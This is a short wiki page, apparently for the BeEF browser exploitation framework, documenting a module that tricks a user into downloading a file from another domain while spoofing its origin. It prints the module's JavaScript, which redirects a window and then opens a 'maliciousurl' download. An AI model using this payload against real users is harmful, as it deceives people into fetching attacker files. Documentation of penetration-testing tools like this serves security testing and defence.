Skip to content

Module: Lcamtuf Download

Haoxi Tan edited this page Jan 8, 2020 · 2 revisions

Summary

  • Objective: Trick the user into downloading a file from another domain

  • Authors: Bart Leppens

  • Browsers: Firefox, Chrome

  • Code

Internal Working

points the targeted window to a cross-origin attachment download and try to spoof to source of that download to look like the current domain (doesn't work on later versions)

function doit() {
    if (!beef.browser.isIE()) {
            w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=' + realurl + '">', 'foo');
            setTimeout(donext, 4500);
    }
}

function donext() {
            window.open(maliciousurl, 'foo');
            if (once != true) setTimeout(donext, 5000);
            once = true;
}

References

Feedback

Clone this wiki locally